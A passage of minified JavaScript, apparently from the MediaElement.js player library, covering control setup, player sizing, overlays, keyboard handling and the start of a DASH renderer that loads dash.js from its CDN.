e.controlsTimer,e.controlsTimer=null)}},{key:"disableControls",value:function(){var e=this;e.killControlsTimer(),e.controlsEnabled=!1,e.hideControls(!1,!0)}},{key:"enableControls",value:function(){var e=this;e.controlsEnabled=!0,e.showControls(!1)}},{key:"_setDefaultPlayer",value:function(){var e=this;e.proxy&&e.proxy.pause(),e.proxy=new f["default"](e),e.media.addEventListener("loadedmetadata",function(){e.getCurrentTime()>0&&e.currentMediaTime>0&&(e.setCurrentTime(e.currentMediaTime),h.IS_IOS||h.IS_ANDROID||e.play())})}},{key:"_meReady",value:function(e,t){var n=this,i=t.getAttribute("autoplay"),r=!(i===undefined||null===i||"false"===i),o=null!==e.rendererName&&/(native|html5)/i.test(n.media.rendererName);if(n.controls&&n.enableControls(),n.container&&n.container.querySelector("."+n.options.classPrefix+"overlay-play")&&(n.container.querySelector("."+n.options.classPrefix+"overlay-play").style.display=""),!n.created){if(n.created=!0,n.media=e,n.domNode=t,!(h.IS_ANDROID&&n.options.AndroidUseNativeControls||h.IS_IPAD&&n.options.iPadUseNativeControls||h.IS_IPHONE&&n.options.iPhoneUseNativeControls)){if(!n.isVideo&&!n.options.features.length&&!n.options.useDefaultControls)return r&&o&&n.play(),void(n.options.success&&("string"==typeof n.options.success?l["default"][n.options.success](n.media,n.domNode,n):n.options.success(n.media,n.domNode,n)));if(n.findTracks(),n.featurePosition={},n._setDefaultPlayer(),n.options.useDefaultControls){var a=["playpause","current","progress","duration","tracks","volume","fullscreen"];n.options.features=a.concat(n.options.features.filter(function(e){return-1===a.indexOf(e)}))}for(var s=0,d=n.options.features.length;s<d;s++){var f=n.options.features[s];if(n["build"+f])try{n["build"+f](n,n.controls,n.layers,n.media)}catch(b){console.error("error building "+f,b)}}n.buildposter(n,n.controls,n.layers,n.media),n.buildkeyboard(n,n.controls,n.layers,n.media),n.buildoverlays(n,n.controls,n.layers,n.media);var p=(0,m.createEvent)("controlsready",n.container);n.container.dispatchEvent(p),n.setPlayerSize(n.width,n.height),n.setControlsSize(),n.isVideo&&(n.clickToPlayPauseCallback=function(){if(n.options.clickToPlayPause){var e=n.container.querySelector("."+n.options.classPrefix+"overlay-button"),t=e.getAttribute("aria-pressed");n.paused&&t?n.pause():n.paused?n.play():n.pause(),e.setAttribute("aria-pressed",!t),n.container.focus()}},n.createIframeLayer(),n.media.addEventListener("click",n.clickToPlayPauseCallback),!h.IS_ANDROID&&!h.IS_IOS||n.options.alwaysShowControls?(n.container.addEventListener("mouseenter",function(){n.controlsEnabled&&(n.options.alwaysShowControls||(n.killControlsTimer("enter"),n.showControls(),n.startControlsTimer(n.options.controlsTimeoutMouseEnter)))}),n.container.addEventListener("mousemove",function(){n.controlsEnabled&&(n.controlsAreVisible||n.showControls(),n.options.alwaysShowControls||n.startControlsTimer(n.options.controlsTimeoutMouseEnter))}),n.container.addEventListener("mouseleave",function(){n.controlsEnabled&&(n.paused||n.options.alwaysShowControls||n.startControlsTimer(n.options.controlsTimeoutMouseLeave))})):n.node.addEventListener("touchstart",function(){n.controlsAreVisible?n.hideControls(!1):n.controlsEnabled&&n.showControls(!1)}),n.options.hideVideoControlsOnLoad&&n.hideControls(!1),n.options.enableAutosize&&n.media.addEventListener("loadedmetadata",function(e){var t=e!==undefined?e.detail.target||e.target:n.media;n.options.videoHeight<=0&&!n.domNode.getAttribute("height")&&null!==t&&!isNaN(t.videoHeight)&&(n.setPlayerSize(t.videoWidth,t.videoHeight),n.setControlsSize(),n.media.setSize(t.videoWidth,t.videoHeight))})),n.media.addEventListener("play",function(){for(var e in n.hasFocus=!0,u["default"].players)if(u["default"].players.hasOwnProperty(e)){var t=u["default"].players[e];t.id===n.id||!n.options.pauseOtherPlayers||t.paused||t.ended||(t.pause(),t.hasFocus=!1)}h.IS_ANDROID||h.IS_IOS||n.options.alwaysShowControls||!n.isVideo||n.hideControls()}),n.media.addEventListener("ended",function(){if(n.options.autoRewind)try{n.setCurrentTime(0),setTimeout(function(){var e=n.container.querySelector("."+n.options.classPrefix+"overlay-loading");e&&e.parentNode&&(e.parentNode.style.display="none")},20)}catch(e){}"function"==typeof n.media.renderer.stop?n.media.renderer.stop():n.pause(),n.setProgressRail&&n.setProgressRail(),n.setCurrentRail&&n.setCurrentRail(),n.options.loop?n.play():!n.options.alwaysShowControls&&n.controlsEnabled&&n.showControls()}),n.media.addEventListener("loadedmetadata",function(){(0,g.calculateTimeFormat)(n.getDuration(),n.options,n.options.framesPerSecond||25),n.updateDuration&&n.updateDuration(),n.updateCurrent&&n.updateCurrent(),n.isFullScreen||(n.setPlayerSize(n.width,n.height),n.setControlsSize())});var y=null;n.media.addEventListener("timeupdate",function(){isNaN(n.getDuration())||y===n.getDuration()||(y=n.getDuration(),(0,g.calculateTimeFormat)(y,n.options,n.options.framesPerSecond||25),n.updateDuration&&n.updateDuration(),n.updateCurrent&&n.updateCurrent(),n.setControlsSize())}),n.container.addEventListener("click",function(e){v.addClass(e.currentTarget,n.options.classPrefix+"container-keyboard-inactive")}),n.container.addEventListener("focusin",function(e){v.removeClass(e.currentTarget,n.options.classPrefix+"container-keyboard-inactive"),!n.isVideo||h.IS_ANDROID||h.IS_IOS||!n.controlsEnabled||n.options.alwaysShowControls||(n.killControlsTimer("enter"),n.showControls(),n.startControlsTimer(n.options.controlsTimeoutMouseEnter))}),n.container.addEventListener("focusout",function(e){setTimeout(function(){e.relatedTarget&&n.keyboardAction&&!e.relatedTarget.closest("."+n.options.classPrefix+"container")&&(n.keyboardAction=!1,!n.isVideo||n.options.alwaysShowControls||n.paused||n.startControlsTimer(n.options.controlsTimeoutMouseLeave))},0)}),setTimeout(function(){n.setPlayerSize(n.width,n.height),n.setControlsSize()},0),n.globalResizeCallback=function(){n.isFullScreen||h.HAS_TRUE_NATIVE_FULLSCREEN&&c["default"].webkitIsFullScreen||n.setPlayerSize(n.width,n.height),n.setControlsSize()},n.globalBind("resize",n.globalResizeCallback)}r&&o&&n.play(),n.options.success&&("string"==typeof n.options.success?l["default"][n.options.success](n.media,n.domNode,n):n.options.success(n.media,n.domNode,n))}}},{key:"_handleError",value:function(e,t,n){var i=this,r=i.layers.querySelector("."+i.options.classPrefix+"overlay-play");r&&(r.style.display="none"),i.options.error&&i.options.error(e,t,n),i.container.querySelector("."+i.options.classPrefix+"cannotplay")&&i.container.querySelector("."+i.options.classPrefix+"cannotplay").remove();var o=c["default"].createElement("div");o.className=i.options.classPrefix+"cannotplay",o.style.width="100%",o.style.height="100%";var a="function"==typeof i.options.customError?i.options.customError(i.media,i.media.originalNode):i.options.customError,s="";if(a){var l=i.media.originalNode.getAttribute("poster");if(l&&(s='<img src="'+l+'" alt="'+u["default"].i18n.t("mejs.download-file")+'">'),e.message&&(a+="<p>"+e.message+"</p>"),e.urls)for(var d=0,f=e.urls.length;d<f;d++){var p=e.urls[d];a+='<a href="'+p.src+'" data-type="'+p.type+'"><span>'+u["default"].i18n.t("mejs.download-file")+": "+p.src+"</span></a>"}}a&&i.layers.querySelector("."+i.options.classPrefix+"overlay-error")&&(o.innerHTML=a,i.layers.querySelector("."+i.options.classPrefix+"overlay-error").innerHTML=""+s+o.outerHTML,i.layers.querySelector("."+i.options.classPrefix+"overlay-error").parentNode.style.display="block")}},{key:"setPlayerSize",value:function(e,t){var n=this;if(!n.options.setDimensions)return!1;switch(void 0!==e&&(n.width=e),void 0!==t&&(n.height=t),n.options.stretching){case"fill":n.isVideo?n.setFillMode():n.setDimensions(n.width,n.height);break;case"responsive":n.setResponsiveMode();break;case"none":n.setDimensions(n.width,n.height);break;default:!0===n.hasFluidMode()?n.setResponsiveMode():n.setDimensions(n.width,n.height)}}},{key:"hasFluidMode",value:function(){var e=this;return-1!==e.height.toString().indexOf("%")||e.node&&e.node.style.maxWidth&&"none"!==e.node.style.maxWidth&&e.node.style.maxWidth!==e.width||e.node&&e.node.currentStyle&&"100%"===e.node.currentStyle.maxWidth}},{key:"setResponsiveMode",value:function(){var e,t=this,n=function(){for(var e=void 0,n=t.container;n;){try{if(h.IS_FIREFOX&&"html"===n.tagName.toLowerCase()&&l["default"].self!==l["default"].top&&null!==l["default"].frameElement)return l["default"].frameElement;e=n.parentElement}catch(i){e=n.parentElement}if(e&&v.visible(e))return e;n=e}return null}(),i=n?getComputedStyle(n,null):getComputedStyle(c["default"].body,null),r=t.isVideo?t.media.videoWidth&&t.media.videoWidth>0?t.media.videoWidth:t.node.getAttribute("width")?t.node.getAttribute("width"):t.options.defaultVideoWidth:t.options.defaultAudioWidth,o=t.isVideo?t.media.videoHeight&&t.media.videoHeight>0?t.media.videoHeight:t.node.getAttribute("height")?t.node.getAttribute("height"):t.options.defaultVideoHeight:t.options.defaultAudioHeight,a=(e=1,t.isVideo?(e=t.media.videoWidth&&t.media.videoWidth>0&&t.media.videoHeight&&t.media.videoHeight>0?t.height>=t.width?t.media.videoWidth/t.media.videoHeight:t.media.videoHeight/t.media.videoWidth:t.initialAspectRatio,(isNaN(e)||e<.01||e>100)&&(e=1),e):e),s=parseFloat(i.height),u=void 0,d=parseFloat(i.width);if(u=t.isVideo?"100%"===t.height?parseFloat(d*o/r,10):t.height>=t.width?parseFloat(d/a,10):parseFloat(d*a,10):o,isNaN(u)&&(u=s),t.container.parentNode.length>0&&"body"===t.container.parentNode.tagName.toLowerCase()&&(d=l["default"].innerWidth||c["default"].documentElement.clientWidth||c["default"].body.clientWidth,u=l["default"].innerHeight||c["default"].documentElement.clientHeight||c["default"].body.clientHeight),u&&d){t.container.style.width=d+"px",t.container.style.height=u+"px",t.node.style.width="100%",t.node.style.height="100%",t.isVideo&&t.media.setSize&&t.media.setSize(d,u);for(var f=t.layers.children,p=0,m=f.length;p<m;p++)f[p].style.width="100%",f[p].style.height="100%"}}},{key:"setFillMode",value:function(){var e=this,t=void 0,n=!1;try{l["default"].self!==l["default"].top?(n=!0,t=l["default"].frameElement):t=e.outerContainer}catch(w){t=e.outerContainer}var i=getComputedStyle(t);"none"!==e.node.style.height&&e.node.style.height!==e.height&&(e.node.style.height="auto"),"none"!==e.node.style.maxWidth&&e.node.style.maxWidth!==e.width&&(e.node.style.maxWidth="none"),"none"!==e.node.style.maxHeight&&e.node.style.maxHeight!==e.height&&(e.node.style.maxHeight="none"),e.node.currentStyle&&("100%"===e.node.currentStyle.height&&(e.node.currentStyle.height="auto"),"100%"===e.node.currentStyle.maxWidth&&(e.node.currentStyle.maxWidth="none"),"100%"===e.node.currentStyle.maxHeight&&(e.node.currentStyle.maxHeight="none")),n||parseFloat(i.width)||(t.style.width=e.media.offsetWidth+"px"),n||parseFloat(i.height)||(t.style.height=e.media.offsetHeight+"px"),i=getComputedStyle(t);var r=parseFloat(i.width),o=parseFloat(i.height);e.setDimensions("100%","100%");var a=e.container.querySelector("."+e.options.classPrefix+"poster>img");a&&(a.style.display="");for(var s=e.container.querySelectorAll("object, embed, iframe, video"),c=e.height,u=e.width,d=r,f=c*r/u,p=u*o/c,h=o,m=p>r==!1,g=m?Math.floor(d):Math.floor(p),y=m?Math.floor(f):Math.floor(h),v=m?r+"px":g+"px",b=m?y+"px":o+"px",_=0,T=s.length;_<T;_++)s[_].style.height=b,s[_].style.width=v,e.media.setSize&&e.media.setSize(v,b),s[_].style.marginLeft=Math.floor((r-g)/2)+"px",s[_].style.marginTop=0}},{key:"setDimensions",value:function(e,t){var n=this;e=(0,m.isString)(e)&&e.indexOf("%")>-1?e:parseFloat(e)+"px",t=(0,m.isString)(t)&&t.indexOf("%")>-1?t:parseFloat(t)+"px",n.container.style.width=e,n.container.style.height=t;for(var i=n.layers.children,r=0,o=i.length;r<o;r++)i[r].style.width=e,i[r].style.height=t}},{key:"setControlsSize",value:function(){var e=this;if(v.visible(e.container))if(e.rail&&v.visible(e.rail)){for(var t=e.total?getComputedStyle(e.total,null):null,n=t?parseFloat(t.marginLeft)+parseFloat(t.marginRight):0,i=getComputedStyle(e.rail),r=parseFloat(i.marginLeft)+parseFloat(i.marginRight),o=0,a=v.siblings(e.rail,function(t){return t!==e.rail}),s=a.length,l=0;l<s;l++)o+=a[l].offsetWidth;o+=n+(0===n?2*r:r)+1,e.container.style.minWidth=o+"px";var c=(0,m.createEvent)("controlsresize",e.container);e.container.dispatchEvent(c)}else{for(var u=e.controls.children,d=0,f=0,p=u.length;f<p;f++)d+=u[f].offsetWidth;e.container.style.minWidth=d+"px"}}},{key:"addControlElement",value:function(e,t){var n=this;if(n.featurePosition[t]!==undefined){var i=n.controls.children[n.featurePosition[t]-1];i.parentNode.insertBefore(e,i.nextSibling)}else{n.controls.appendChild(e);for(var r=n.controls.children,o=0,a=r.length;o<a;o++)if(e===r[o]){n.featurePosition[t]=o;break}}}},{key:"createIframeLayer",value:function(){var e=this;if(e.isVideo&&null!==e.media.rendererName&&e.media.rendererName.indexOf("iframe")>-1&&!c["default"].getElementById(e.media.id+"-iframe-overlay")){var t=c["default"].createElement("div"),n=c["default"].getElementById(e.media.id+"_"+e.media.rendererName);t.id=e.media.id+"-iframe-overlay",t.className=e.options.classPrefix+"iframe-overlay",t.addEventListener("click",function(t){e.options.clickToPlayPause&&(e.paused?e.play():e.pause(),t.preventDefault(),t.stopPropagation())}),n.parentNode.insertBefore(t,n)}}},{key:"resetSize",value:function(){var e=this;setTimeout(function(){e.setPlayerSize(e.width,e.height),e.setControlsSize()},50)}},{key:"setPoster",value:function(e){var t=this,n=t.container.querySelector("."+t.options.classPrefix+"poster");n||((n=c["default"].createElement("div")).className=t.options.classPrefix+"poster "+t.options.classPrefix+"layer",t.layers.appendChild(n));var i=n.querySelector("img");!i&&e&&((i=c["default"].createElement("img")).className=t.options.classPrefix+"poster-img",i.width="100%",i.height="100%",n.style.display="",n.appendChild(i)),e?(i.setAttribute("src",e),n.style.backgroundImage='url("'+e+'")',n.style.display=""):i?(n.style.backgroundImage="none",n.style.display="none",i.remove()):n.style.display="none"}},{key:"changeSkin",value:function(e){var t=this;t.container.className=t.options.classPrefix+"container "+e,t.setPlayerSize(t.width,t.height),t.setControlsSize()}},{key:"globalBind",value:function(e,t){var n=this,i=n.node?n.node.ownerDocument:c["default"];if((e=(0,m.splitEvents)(e,n.id)).d)for(var r=e.d.split(" "),o=0,a=r.length;o<a;o++)r[o].split(".").reduce(function(e,n){return i.addEventListener(n,t,!1),n},"");if(e.w)for(var s=e.w.split(" "),u=0,d=s.length;u<d;u++)s[u].split(".").reduce(function(e,n){return l["default"].addEventListener(n,t,!1),n},"")}},{key:"globalUnbind",value:function(e,t){var n=this,i=n.node?n.node.ownerDocument:c["default"];if((e=(0,m.splitEvents)(e,n.id)).d)for(var r=e.d.split(" "),o=0,a=r.length;o<a;o++)r[o].split(".").reduce(function(e,n){return i.removeEventListener(n,t,!1),n},"");if(e.w)for(var s=e.w.split(" "),u=0,d=s.length;u<d;u++)s[u].split(".").reduce(function(e,n){return l["default"].removeEventListener(n,t,!1),n},"")}},{key:"buildposter",value:function(e,t,n,i){var r=this,o=c["default"].createElement("div");o.className=r.options.classPrefix+"poster "+r.options.classPrefix+"layer",n.appendChild(o);var a=i.originalNode.getAttribute("poster");""!==e.options.poster&&a&&h.IS_IOS&&(i.originalNode.removeAttribute("poster"),a=e.options.poster),a?r.setPoster(a):null!==r.media.renderer&&"function"==typeof r.media.renderer.getPosterUrl?r.setPoster(r.media.renderer.getPosterUrl()):o.style.display="none",i.addEventListener("play",function(){o.style.display="none"}),i.addEventListener("playing",function(){o.style.display="none"}),e.options.showPosterWhenEnded&&e.options.autoRewind&&i.addEventListener("ended",function(){o.style.display=""}),i.addEventListener("error",function(){o.style.display="none"}),e.options.showPosterWhenPaused&&i.addEventListener("pause",function(){e.ended||(o.style.display="")})}},{key:"buildoverlays",value:function(e,t,n,i){if(e.isVideo){var r=this,o=c["default"].createElement("div"),a=c["default"].createElement("div"),s=c["default"].createElement("div"),l=t.querySelector("."+r.options.classPrefix+"time-buffering");o.style.display="none",o.className=r.options.classPrefix+"overlay "+r.options.classPrefix+"layer",o.innerHTML='<div class="'+r.options.classPrefix+'overlay-loading"><span class="'+r.options.classPrefix+'overlay-loading-bg-img"></span></div>',n.appendChild(o),a.style.display="none",a.className=r.options.classPrefix+"overlay "+r.options.classPrefix+"layer",a.innerHTML='<div class="'+r.options.classPrefix+'overlay-error"></div>',n.appendChild(a),s.className=r.options.classPrefix+"overlay "+r.options.classPrefix+"layer "+r.options.classPrefix+"overlay-play",s.innerHTML='<div class="'+r.options.classPrefix+'overlay-button" role="button" tabindex="0" aria-label="'+p["default"].t("mejs.play")+'" aria-pressed="false"></div>',s.addEventListener("click",function(){if(r.options.clickToPlayPause){var e=r.container.querySelector("."+r.options.classPrefix+"overlay-button"),t=e.getAttribute("aria-pressed");r.paused?r.play():r.pause(),e.setAttribute("aria-pressed",!!t),r.container.focus()}}),s.addEventListener("keydown",function(e){var t=e.keyCode||e.which||0;if(13===t||h.IS_FIREFOX&&32===t){var n=(0,m.createEvent)("click",s);return s.dispatchEvent(n),!1}}),n.appendChild(s), null!==r.media.rendererName&&(/(youtube|facebook)/i.test(r.media.rendererName)&&!(r.media.originalNode.getAttribute("poster")||e.options.poster||"function"==typeof r.media.renderer.getPosterUrl&&r.media.renderer.getPosterUrl())||h.IS_STOCK_ANDROID||r.media.originalNode.getAttribute("autoplay"))&&(s.style.display="none");var u=!1;i.addEventListener("play",function(){s.style.display="none",o.style.display="none",null!==l&&(l.style.display="none"),a.style.display="none",u=!1}),i.addEventListener("playing",function(){s.style.display="none",o.style.display="none",null!==l&&(l.style.display="none"),a.style.display="none",u=!1}),i.addEventListener("seeking",function(){s.style.display="none",o.style.display="",null!==l&&(l.style.display=""),u=!1}),i.addEventListener("seeked",function(){s.style.display=r.paused&&!h.IS_STOCK_ANDROID?"":"none",o.style.display="none",null!==l&&(l.style.display="none"),u=!1}),i.addEventListener("pause",function(){o.style.display="none",h.IS_STOCK_ANDROID||u||(s.style.display=""),null!==l&&(l.style.display="none"),u=!1}),i.addEventListener("waiting",function(){o.style.display="",null!==l&&(l.style.display=""),u=!1}),i.addEventListener("loadeddata",function(){o.style.display="",null!==l&&(l.style.display=""),h.IS_ANDROID&&(i.canplayTimeout=setTimeout(function(){if(c["default"].createEvent){var e=c["default"].createEvent("HTMLEvents");return e.initEvent("canplay",!0,!0),i.dispatchEvent(e)}},300)),u=!1}),i.addEventListener("canplay",function(){o.style.display="none",null!==l&&(l.style.display="none"),clearTimeout(i.canplayTimeout),u=!1}),i.addEventListener("error",function(e){r._handleError(e,r.media,r.node),o.style.display="none",s.style.display="none",null!==l&&(l.style.display="none"),u=!0}),i.addEventListener("keydown",function(t){r.onkeydown(e,i,t),u=!1})}}},{key:"buildkeyboard",value:function(e,t,n,i){var r=this;r.container.addEventListener("keydown",function(){r.keyboardAction=!0}),r.globalKeydownCallback=function(t){var n=c["default"].activeElement.closest("."+r.options.classPrefix+"container"),o=r.media.closest("."+r.options.classPrefix+"container");return r.hasFocus=!(!n||!o||n.id!==o.id),r.onkeydown(e,i,t)},r.globalClickCallback=function(e){r.hasFocus=!!e.target.closest("."+r.options.classPrefix+"container")},r.globalBind("keydown",r.globalKeydownCallback),r.globalBind("click",r.globalClickCallback)}},{key:"onkeydown",value:function(e,t,n){if(e.hasFocus&&e.options.enableKeyboard)for(var i=0,r=e.options.keyActions.length;i<r;i++)for(var o=e.options.keyActions[i],a=0,s=o.keys.length;a<s;a++)n.keyCode===o.keys[a]&&(o.action(e,t,n.keyCode,n),n.preventDefault(),n.stopPropagation());return!0}},{key:"play",value:function(){this.proxy.play()}},{key:"pause",value:function(){this.proxy.pause()}},{key:"load",value:function(){this.proxy.load()}},{key:"setCurrentTime",value:function(e){this.proxy.setCurrentTime(e)}},{key:"getCurrentTime",value:function(){return this.proxy.currentTime}},{key:"getDuration",value:function(){return this.proxy.duration}},{key:"setVolume",value:function(e){this.proxy.volume=e}},{key:"getVolume",value:function(){return this.proxy.getVolume()}},{key:"setMuted",value:function(e){this.proxy.setMuted(e)}},{key:"setSrc",value:function(e){this.controlsEnabled||this.enableControls(),this.proxy.setSrc(e)}},{key:"getSrc",value:function(){return this.proxy.getSrc()}},{key:"canPlayType",value:function(e){return this.proxy.canPlayType(e)}},{key:"remove",value:function(){var e=this,t=e.media.rendererName,n=e.media.originalNode.src;for(var i in e.options.features){var r=e.options.features[i];if(e["clean"+r])try{e["clean"+r](e,e.layers,e.controls,e.media)}catch(l){console.error("error cleaning "+r,l)}}var o=e.node.getAttribute("width"),s=e.node.getAttribute("height");(o?-1===o.indexOf("%")&&(o+="px"):o="auto",s?-1===s.indexOf("%")&&(s+="px"):s="auto",e.node.style.width=o,e.node.style.height=s,e.isDynamic?e.container.parentNode.insertBefore(e.node,e.container):function(){e.node.setAttribute("controls",!0),e.node.setAttribute("id",e.node.getAttribute("id").replace("_"+t,"").replace("_from_mejs",""));var i=e.container.querySelector("."+e.options.classPrefix+"poster>img");(i&&e.node.setAttribute("poster",i.src),delete e.node.autoplay,""!==e.media.canPlayType((0,y.getTypeFromFile)(n))&&e.node.setAttribute("src",n),~t.indexOf("iframe"))&&c["default"].getElementById(e.media.id+"-iframe-overlay").remove();var r=e.node.cloneNode();if(r.style.display="",e.container.parentNode.insertBefore(r,e.container),e.node.remove(),e.mediaFiles)for(var o=0,a=e.mediaFiles.length;o<a;o++){var s=c["default"].createElement("source");s.setAttribute("src",e.mediaFiles[o].src),s.setAttribute("type",e.mediaFiles[o].type),r.appendChild(s)}if(e.trackFiles)for(var l=function(t){var n=e.trackFiles[t],i=c["default"].createElement("track");i.kind=n.kind,i.label=n.label,i.srclang=n.srclang,i.src=n.src,r.appendChild(i),i.addEventListener("load",function(){this.mode="showing",r.textTracks[t].mode="showing"})},u=0,d=e.trackFiles.length;u<d;u++)l(u,d);delete e.node,delete e.mediaFiles,delete e.trackFiles}(),"function"==typeof e.media.renderer.destroy&&e.media.renderer.destroy(),delete u["default"].players[e.id],"object"===a(e.container))&&(e.container.parentNode.querySelector("."+e.options.classPrefix+"offscreen").remove(),e.container.remove());e.globalUnbind("resize",e.globalResizeCallback),e.globalUnbind("keydown",e.globalKeydownCallback),e.globalUnbind("click",e.globalClickCallback),delete e.media.player}},{key:"paused",get:function(){return this.proxy.paused}},{key:"muted",get:function(){return this.proxy.muted},set:function(e){this.setMuted(e)}},{key:"ended",get:function(){return this.proxy.ended}},{key:"readyState",get:function(){return this.proxy.readyState}},{key:"currentTime",set:function(e){this.setCurrentTime(e)},get:function(){return this.getCurrentTime()}},{key:"duration",get:function(){return this.getDuration()}},{key:"volume",set:function(e){this.setVolume(e)},get:function(){return this.getVolume()}},{key:"src",set:function(e){this.setSrc(e)},get:function(){return this.getSrc()}}]),e}();l["default"].MediaElementPlayer=_,n["default"]=_},{17:17,2:2,25:25,26:26,27:27,28:28,3:3,30:30,5:5,6:6,7:7}],17:[function(e,t,n){"use strict";function i(e){return e&&e.__esModule?e:{"default":e}}function r(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}Object.defineProperty(n,"__esModule",{value:!0});var o=function(){function e(e,t){for(var n=0;n<t.length;n++){var i=t[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(e,i.key,i)}}return function(t,n,i){return n&&e(t.prototype,n),i&&e(t,i),t}}(),a=i(e(3)),s=function(){function e(t){return r(this,e),this.media=t.media,this.isVideo=t.isVideo,this.classPrefix=t.options.classPrefix,this.createIframeLayer=function(){return t.createIframeLayer()},this.setPoster=function(e){return t.setPoster(e)},this}return o(e,[{key:"play",value:function(){this.media.play()}},{key:"pause",value:function(){this.media.pause()}},{key:"load",value:function(){var e=this;e.isLoaded||e.media.load(),e.isLoaded=!0}},{key:"setCurrentTime",value:function(e){this.media.setCurrentTime(e)}},{key:"getCurrentTime",value:function(){return this.media.currentTime}},{key:"getDuration",value:function(){return this.media.getDuration()}},{key:"setVolume",value:function(e){this.media.setVolume(e)}},{key:"getVolume",value:function(){return this.media.getVolume()}},{key:"setMuted",value:function(e){this.media.setMuted(e)}},{key:"setSrc",value:function(e){var t=this,n=document.getElementById(t.media.id+"-iframe-overlay");n&&n.remove(),t.media.setSrc(e),t.createIframeLayer(),null!==t.media.renderer&&"function"==typeof t.media.renderer.getPosterUrl&&t.setPoster(t.media.renderer.getPosterUrl())}},{key:"getSrc",value:function(){return this.media.getSrc()}},{key:"canPlayType",value:function(e){return this.media.canPlayType(e)}},{key:"paused",get:function(){return this.media.paused}},{key:"muted",set:function(e){this.setMuted(e)},get:function(){return this.media.muted}},{key:"ended",get:function(){return this.media.ended}},{key:"readyState",get:function(){return this.media.readyState}},{key:"currentTime",set:function(e){this.setCurrentTime(e)},get:function(){return this.getCurrentTime()}},{key:"duration",get:function(){return this.getDuration()}},{key:"volume",set:function(e){this.setVolume(e)},get:function(){return this.getVolume()}},{key:"src",set:function(e){this.setSrc(e)},get:function(){return this.getSrc()}}]),e}();n["default"]=s,a["default"].DefaultPlayer=s},{3:3}],18:[function(e){"use strict";function t(e){return e&&e.__esModule?e:{"default":e}}var n,i=t(e(3)),r=t(e(7)),o=t(e(16));"undefined"!=typeof jQuery?r["default"].$=i["default"].jQuery=i["default"].$=jQuery:"undefined"!=typeof Zepto?r["default"].$=i["default"].Zepto=i["default"].$=Zepto:"undefined"!=typeof ender&&(r["default"].$=i["default"].ender=i["default"].$=ender),void 0!==(n=r["default"].$)&&(n.fn.mediaelementplayer=function(e){return!1===e?this.each(function(){var e=n(this).data("mediaelementplayer");e&&e.remove(),n(this).removeData("mediaelementplayer")}):this.each(function(){n(this).data("mediaelementplayer",new o["default"](this,e))}),this},n(document).ready(function(){n("."+r["default"].MepDefaults.classPrefix+"player").mediaelementplayer()}))},{16:16,3:3,7:7}],19:[function(e){"use strict";function t(e){return e&&e.__esModule?e:{"default":e}}var n="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},i=t(e(3)),r=t(e(7)),o=e(8),a=e(27),s=e(28),l=e(25),c=e(26),u={promise:null,load:function(e){return"undefined"!=typeof dashjs?u.promise=new Promise(function(e){e()}).then(function(){u._createPlayer(e)}):(e.options.path="string"==typeof e.options.path?e.options.path:"https://cdn.dashjs.org/latest/dash.all.min.js",u.promise=u.promise||(0,c.loadScript)(e.options.path),u.promise.then(function(){u._createPlayer(e)})),u.promise},_createPlayer:function(e){var t=dashjs.MediaPlayer().create();return i["default"]["__ready__"+e.id](t),t}},d={name:"native_dash",options:{prefix:"native_dash",dash:{path:"https://cdn.dashjs.org/latest/dash.all.min.js",debug:!1,drm:{},robustnessLevel:""}},canPlayType:function(e){return l.HAS_MSE&&["application/dash+xml"].indexOf(e.toLowerCase())>-1},create:function(e,t,s){var l=e.originalNode,c=e.id+"_"+t.prefix,d=l.autoplay,f=l.children,p=null,h=null;l.removeAttribute("type");for(var m=0,g=f.length;m<g;m++)f[m].removeAttribute("type");p=l.cloneNode(!0),t=Object.assign(t,e.options);for(var y=r["default"].html5media.properties,v=r["default"].html5media.events.concat(["click","mouseover","mouseout"]),b=function(t){if("error"!==t.type){var n=(0,a.createEvent)(t.type,e);e.dispatchEvent(n)}},_=function(e){var i=""+e.substring(0,1).toUpperCase()+e.substring(1);p["get"+i]=function(){return null!==h?p[e]:null},p["set"+i]=function(i){if(-1===r["default"].html5media.readOnlyProperties.indexOf(e))if("src"===e){var o="object"===(void 0===i?"undefined":n(i))&&i.src?i.src:i;if(p[e]=o,null!==h){h.reset();for(var s=0,l=v.length;s<l;s++)p.removeEventListener(v[s],b);h=u._createPlayer({options:t.dash,id:c}),i&&"object"===(void 0===i?"undefined":n(i))&&"object"===n(i.drm)&&(h.setProtectionData(i.drm),(0,a.isString)(t.dash.robustnessLevel)&&t.dash.robustnessLevel&&h.getProtectionController().setRobustnessLevel(t.dash.robustnessLevel)),h.attachSource(o),d&&h.play()}}else p[e]=i}},T=0,w=y.length;T<w;T++)_(y[T]);if(i["default"]["__ready__"+c]=function(i){e.dashPlayer=h=i;for(var o=dashjs.MediaPlayer.events,s=function(e){"loadedmetadata"===e&&(h.getDebug().setLogToBrowserConsole(t.dash.debug),h.initialize(),h.setScheduleWhilePaused(!1),h.setFastSwitchEnabled(!0),h.attachView(p),h.setAutoPlay(!1),"object"!==n(t.dash.drm)||r["default"].Utils.isObjectEmpty(t.dash.drm)||(h.setProtectionData(t.dash.drm),(0,a.isString)(t.dash.robustnessLevel)&&t.dash.robustnessLevel&&h.getProtectionController().setRobustnessLevel(t.dash.robustnessLevel)),h.attachSource(p.getSrc())),p.addEventListener(e,b)},l=0,c=v.length;l<c;l++)s(v[l]);var u=function(t,n){if("error"===t.toLowerCase())e.generateError(n.message,p.src),console.error(n);else{var i=(0,a.createEvent)(t,e);i.data=n,e.dispatchEvent(i)}};for(var d in o)o.hasOwnProperty(d)&&h.on(o[d],function(e){for(var t=arguments.length,n=Array(t>1?t-1:0),i=1;i<t;i++)n[i-1]=arguments[i];return u(e.type,n)})},s&&s.length>0)for(var S=0,k=s.length;S<k;S++)if(o.renderer.renderers[t.prefix].canPlayType(s[S].type)){p.setAttribute("src",s[S].src),"undefined"!=typeof s[S].drm&&(t.dash.drm=s[S].drm);break}p.setAttribute("id",c),l.parentNode.insertBefore(p,l),l.autoplay=!1,l.style.display="none",p.setSize=function(e,t){return p.style.width=e+"px",p.style.height=t+"px",p},p.hide=function(){return p.pause(),p.style.display="none",p},p.show=function(){return p.style.display="",p},p.destroy=function(){null!==h&&h.reset()};var C=(0,a.createEvent)("rendererready",p);return 